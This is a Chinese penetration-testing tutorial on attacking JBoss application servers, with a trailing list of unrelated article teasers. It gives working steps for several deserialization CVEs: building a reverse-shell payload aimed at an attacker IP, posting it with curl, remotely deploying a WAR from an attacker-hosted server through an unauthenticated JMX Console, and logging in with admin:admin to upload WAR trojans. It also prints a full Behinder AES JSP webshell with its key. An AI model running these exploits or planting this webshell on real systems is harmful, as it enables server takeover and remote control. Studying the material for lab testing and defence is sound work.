服务攻防——中间件Jboss

news2024/9/22 5:25:26

文章目录

  • 一、Jboss简介
  • 二、Jboss渗透
    • 2.1 JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）
    • 2.2 JBoss JMXInvokerServlet 反序列化漏洞（CVE-2015-7501）
    • 2.3 JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
    • 2.4 Administration Console 弱口令
    • 2.5 JBoss EJBInvokerServle 反序列化漏洞（CVE-2013-4810）
    • 2.6 高版本JMX Console未授权访问
    • 2.7 JMX Console HtmlAdaptor Getshell利用

一、Jboss简介

JBoss是一个基于J2EE的开发源代码的应用服务器，一般与Tomcat或Jetty绑定使用。默认端口：8080、9990。

二、Jboss渗透

2.1 JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）

JBOSS Application Server反序列化命令执行漏洞(CVE-2017-12149)，远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

影响版本：JBoss 5.x/6.x。

1）验证是否存在该漏洞
访问：https://xxx/invoker/readonly，返回500，则说明存在此漏洞。
在这里插入图片描述

2）漏洞利用
工具：JavaDeserH2HC
在这里插入图片描述
（1）生成ReverseShellCommonsCollectionsHashMap.class

javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

在这里插入图片描述
（2）生成ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.253.9:8888
# ip是nc所在的ip

在这里插入图片描述
（3）利用Map.ser：

curl http://192.168.253.89:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.2 JBoss JMXInvokerServlet 反序列化漏洞（CVE-2015-7501）

由于JBoss中invoker/JMXInvokerServlet路径对外开放，JBoss的jmx组件支持Java反序列化！

漏洞影响：
Red Hat JBoss A-MQ 6.x版本；BPM Suite (BPMS) 6.x版本；BRMS 6.x版本和5.x版本；Data Grid (JDG) 6.x版本；Data Virtualization (JDV) 6.x版本和5.x版本；Enterprise Application Platform 6.x版本，5.x版本和4.3.x版本；Fuse 6.x版本；Fuse Service Works (FSW) 6.x版本；Operations Network (JBoss ON) 3.x版本；Portal 6.x版本；SOA Platform (SOA-P) 5.x版本；Web Server (JWS) 3.x版本；Red Hat OpenShift/xPAAS 3.x版本；Red Hat Subscription Asset Manager 1.3版本。

1）验证漏洞
访问http://xxx/invoker/JMXInvokerServlet，返回如下，说明接口开放，此接口存在反序列化漏洞。
在这里插入图片描述
2）漏洞利用
这里直接利用CVE-2017-12149生成的ser，发送到/invoker/JMXInvokerServlet接口中：

curl http://192.168.253.89:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.3 JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

漏洞简介：JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响范围：JBoss 4.x 以及之前的所有版本！

正常情况，会出现如下界面：
在这里插入图片描述
验证漏洞是否存在：访问/jbossmq-httpil/HTTPServerILServlet，出现如下页面则存在漏洞！
在这里插入图片描述
漏洞利用：直接利用CVE-2017-12149生成的ser，发送到/jbossmq-httpil/HTTPServerILServlet接口中：

curl http://192.168.253.91:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.4 Administration Console 弱口令

Administration Console管理页面存在弱口令，admin:admin，登陆后台上传war包！

1）存在管理页面
在这里插入图片描述
在这里插入图片描述
2）爆破或弱口令登录
admin/admin登录
在这里插入图片描述
3）上传war木马
点击Add a new resource，上传war包
在这里插入图片描述

成功上传dayu.war！！点击创建的war包进入下一层，若状态为stop，点击Start按钮（默认都是start状态，不需要点击Start按钮）：
在这里插入图片描述
在这里插入图片描述
4）成功控制
访问：http://192.168.253.89:8080/dayu/dayu.jsp
在这里插入图片描述
或者上传冰蝎一句话jsp：
在这里插入图片描述

2.5 JBoss EJBInvokerServle 反序列化漏洞（CVE-2013-4810）

输入http://x.x.x.x:8080/invoker/EJBInvokerServle能返回结果就可以利用！

与CVE-2015-7501漏洞原理相同，这里详细介绍一下两者的区别，其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作，而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

2.6 高版本JMX Console未授权访问

JMX Console默认存在未授权访问，直接点击JBoss主页中的JMX Console链接进入JMX Console页面。
在这里插入图片描述
在JMX Console页面点击jboss.system链接，在Jboss.system页面中点击service=MainDeployer，如下：
在这里插入图片描述
进入service=MainDeployer页面之后，找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Kali部署远程war包地址：python3 -m SimpleHTTPServer 80
在这里插入图片描述
输入Invoke：http://192.168.253.89:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.253.9/dayutest.war
在这里插入图片描述
点击后部署成功！
访问：http://192.168.253.89:8080/dayutest/shell.jsp
在这里插入图片描述
冰蝎成功控制：
在这里插入图片描述

2.7 JMX Console HtmlAdaptor Getshell利用

漏洞原理：此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到jmx控制台，并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法，通过向四个参数传入信息，达到上传shell的目的。

  • arg0传入的是部署的war包名字；
  • arg1传入的是上传的文件的文件名；
  • arg2传入的是上传文件的文件格式；
  • arg3传入的是上传文件中的内容。

通过控制这四个参数即可上传shell，控制整台服务器。但是通过实验发现，arg1和arg2可以进行文件的拼接，例如arg1=she，arg2=ll.jsp。这个时候服务器还是会进行拼接，将shell.jsp传入到指定路径下！

影响范围：Jboss 4.x及以下
漏洞复现
1）定位到store位置：http://192.168.253.91:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
在这里插入图片描述
定位到store⽅法，通过向四个参数传入信息，达到上传shell的目。

  • arg1传入的是部署的war包名字；
  • arg2传入的是上传的文件的文件名；
  • arg3传入的是上传文件的文件格式；
  • arg4传入的是上传文件中的内容

写入war，jsp内容为冰蝎。
在这里插入图片描述
注意为.jsp。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

部署war包
在这里插入图片描述
成功写入，尝试上线冰蝎：
在这里插入图片描述
自动化渗透测试工具：jexboss

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1921703.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

elasticsearch源码分析-04集群状态发布

elasticsearch源码分析-04集群状态发布

集群状态发布 cluster模块封装了在集群层面执行的任务&#xff0c;如集群健康、集群级元信息管理、分片分配给节点、节点管理等。集群任务执行之后可能会产生新的集群状态&#xff0c;如果产生新的集群状态主节点会将集群状态广播给其他节点。 集群状态封装在clusterState中&…
阅读更多...
5款文案生成神器，自动一键生成原创文案

5款文案生成神器，自动一键生成原创文案

文案在我们的生活中随处可见&#xff0c;好的文案内容不仅可以为企业带来销售转化&#xff0c;而且还能提升品牌的影响力&#xff0c;因此文案的重要性可想而知&#xff0c;对于文案创作者来说&#xff0c;写作好的文案不是轻松容易的事&#xff0c;但如果把这个任务交给文案生…
阅读更多...
【低照度图像增强系列（8）】URetinex-Net算法详解与代码实现（2022|CVPR）

【低照度图像增强系列（8）】URetinex-Net算法详解与代码实现（2022|CVPR）

前言 ☀️ 在低照度场景下进行目标检测任务&#xff0c;常存在图像RGB特征信息少、提取特征困难、目标识别和定位精度低等问题&#xff0c;给检测带来一定的难度。 &#x1f33b;使用图像增强模块对原始图像进行画质提升&#xff0c;恢复各类图像信息&#xff0c;再使用目标检…
阅读更多...
手机也能玩转AI影像？荣耀200系列带来手机人像摄影新升级

手机也能玩转AI影像？荣耀200系列带来手机人像摄影新升级

智能手机在影像技术上的革新从未停歇&#xff0c;荣耀200系列系统的全新升级&#xff0c;为用户带来了更加丰富和便捷的拍摄体验。AI技术的融入&#xff0c;让摄影变得更加智能&#xff0c;简化了编辑过程&#xff0c;使得每个用户都能成为专业的摄影师。 一、AI消除功能&#…
阅读更多...
差旅费控平台选型抓住这五点，选的好用的才舒心！

差旅费控平台选型抓住这五点，选的好用的才舒心！

市场竞争从增量机会转为存量博弈&#xff0c;起决定作用的是造就和增强公司的核心竞争力&#xff0c;以精细化管理做足降本增效的“基本功”成为众多企业谋划发展的关键词。 当下企业差旅服务已经初步完成数字化升级&#xff0c;线上预订&#xff0c;灵活支付&#xff0c;统一结…
阅读更多...
Linux系统编程-进程间通信（IPC）常用方式详解

Linux系统编程-进程间通信（IPC）常用方式详解

进程间通信&#xff08;IPC&#xff0c;Inter-Process Communication&#xff09;是指在操作系统中&#xff0c;不同进程之间进行数据交换和信息传递的机制。这种通信允许正在运行的多个进程能够相互协作、共享数据或者进行同步操作&#xff0c;以实现更复杂的任务和功能。Linu…
阅读更多...
国外UI设计赏析—汽车行业

国外UI设计赏析—汽车行业

国外汽车网页设计界面往往展现出几个显著的优点&#xff0c;这些优点不仅提升了用户体验&#xff0c;还增强了品牌形象与产品吸引力。首先&#xff0c;它们注重界面设计的直观性与互动性&#xff0c;通过高清大图、动态效果以及简洁明了的布局&#xff0c;让用户能够一目了然地…
阅读更多...
王老师 linux c++ 通信架构 笔记（一）linux虚拟机的安装

王老师 linux c++ 通信架构 笔记（一）linux虚拟机的安装

&#xff08;0&#xff09;本门课程会涉及很多知识。在此集中记录&#xff0c;做笔记&#xff0c;也可能加入别的专栏。 &#xff08;1&#xff09; vmware 15 的下载和密钥上网查找。 ubuntu - 16 - 04 的版本才 800 M &#xff0c;来 csdn 找镜像 下载。 &#xff08;2&#…
阅读更多...
动态sql 单选变多选

动态sql 单选变多选

实体类 添加数组存储值 private ArrayList tssjfjList; <!-- <if test"tssjfj ! null and tssjfj ! ">and tssjfj #{tssjfj}</if>--><if test"tssjfjList ! null and tssjfjList.size() > 0">AND tssjfj IN<fo…
阅读更多...
《昇思25天学习打卡营第20天|Diffusion扩散模型》

《昇思25天学习打卡营第20天|Diffusion扩散模型》

#学习打卡第20天# Diffusion扩散模型 本文的介绍是基于denoising diffusion probabilistic model &#xff08;DDPM&#xff09;&#xff0c;DDPM已经在&#xff08;无&#xff09;条件图像/音频/视频生成领域取得了较多显著的成果&#xff0c;现有的比较受欢迎的的例子包括由O…
阅读更多...
2024年，搞AI就别卷模型了

2024年，搞AI就别卷模型了

你好&#xff0c;我是三桥君 2022年11月30日&#xff0c;OpenAI发布了一款全新的对话式通用人工智能工具——ChatGPT。 该工具发布后&#xff0c;仅用5天时间就吸引了100万活跃用户&#xff0c;而在短短2个月内&#xff0c;其活跃用户数更是飙升至1亿&#xff0c;成为历史上增…
阅读更多...
牛顿黏滞定律

牛顿黏滞定律

牛顿黏滞定律描述了流体内部的剪切应力与速度梯度之间的关系。公式如下&#xff1a; τ η d v x d y \tau \eta \frac{dv_x}{dy} τηdydvx​​ 其中&#xff1a; τ \tau τ 是剪切应力&#xff08;shear stress&#xff09;&#xff0c;单位是帕斯卡&#xff08;Pa&…
阅读更多...
互信息（Mutual Information，MI）的原理和计算

互信息（Mutual Information，MI）的原理和计算

互信息&#xff08;Mutual Information&#xff0c;MI&#xff09;是信息论中的一个度量&#xff0c;用于量化两个随机变量之间的依赖关系。互信息度量了一个随机变量包含了关于另一个随机变量的信息量。它可以用来识别和量化两个信号之间的非线性相关性。互信息可以揭示两个信…
阅读更多...
Web开发：一个可拖拽的模态框（HTML、CSS、JavaScript）

Web开发：一个可拖拽的模态框（HTML、CSS、JavaScript）

目录 一、需求描述 二、实现效果 三、完整代码 四、实现过程 1、HTML 页面结构 2、CSS 元素样式 3、JavaScript动态控制 &#xff08;1&#xff09;获取元素 &#xff08;2&#xff09;显示\隐藏遮罩层与模态框 &#xff08;3&#xff09;实现模态框拖动效果 一、需求…
阅读更多...
【离线查询 堆 优先队列】1383. 最大的团队表现值

【离线查询 堆 优先队列】1383. 最大的团队表现值

本文涉及知识点 离线查询 堆 优先队列 算法与数据结构汇总 LeetCode1383. 最大的团队表现值 给定两个整数 n 和 k&#xff0c;以及两个长度为 n 的整数数组 speed 和 efficiency。现有 n 名工程师&#xff0c;编号从 1 到 n。其中 speed[i] 和 efficiency[i] 分别代表第 i 位…
阅读更多...
开源项目的认识理解

开源项目的认识理解

目录 开源项目有哪些机遇与挑战&#xff1f; 1.开源项目的发展趋势 2.开源的经验分享&#xff08;向大佬请教与上网查询&#xff09; 3.开源项目的挑战 开源项目有哪些机遇与挑战&#xff1f; 1.开源项目的发展趋势 1. 持续增长与普及 - 开源项目将继续增长&#xff0c…
阅读更多...
软件测试——AI快速入门

软件测试——AI快速入门

工作职责&#xff1a; 1.负责产品系统测试&#xff0c;包括功能测试、性能测试、稳定性测试、用户场景测试、可靠性测试等。 2.负责测试相关文档的编写&#xff0c;包括测试计划、测试用例、测试报告等。 3.负责自动化测试框架、用例的维护。 岗位要求&#xff1a; 1.熟练…
阅读更多...
编程范式之并发编程

编程范式之并发编程

目录 前言1. 并发编程的定义2. 并发编程的特点2.1 任务交替执行2.2 状态共享与同步2.3 并行执行 3. 并发编程的适用场景3.1 高性能计算3.2 I/O 密集型应用3.3 实时系统 4. 并发编程的优点4.1 提高资源利用率4.2 缩短响应时间4.3 提高系统吞吐量 5. 并发编程的缺点5.1 编程复杂性…
阅读更多...
MP4怎么转为MP3？超多人都在用的四种转换方法！

MP4怎么转为MP3？超多人都在用的四种转换方法！

MP4怎么转为MP3&#xff1f;MP4&#xff0c;这一风靡全球的多媒体容器格式&#xff0c;无疑是数字时代的一枚璀璨明珠&#xff0c;深深烙印在每个人的数字生活之中&#xff0c;那么&#xff0c;它究竟是如何在众多格式中脱颖而出&#xff0c;赢得如此广泛认可的呢&#xff1f;首…
阅读更多...
【Redis】初识 Redis

【Redis】初识 Redis

文章目录 1 什么是 Redis2 Redis 的特点2.1 速度快2.2 可编程性2.3 可拓展性2.4 持久化2.5 主从复制2.5 高可用和分布式2.6 客户端语言多 3 Redis 使用场景3.1 实时数据存储3.2 缓存和 Session 存储3.3 消息队列 4 Redis 重大版本5 CentOS7 安装 Redis5 1 什么是 Redis Redis …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023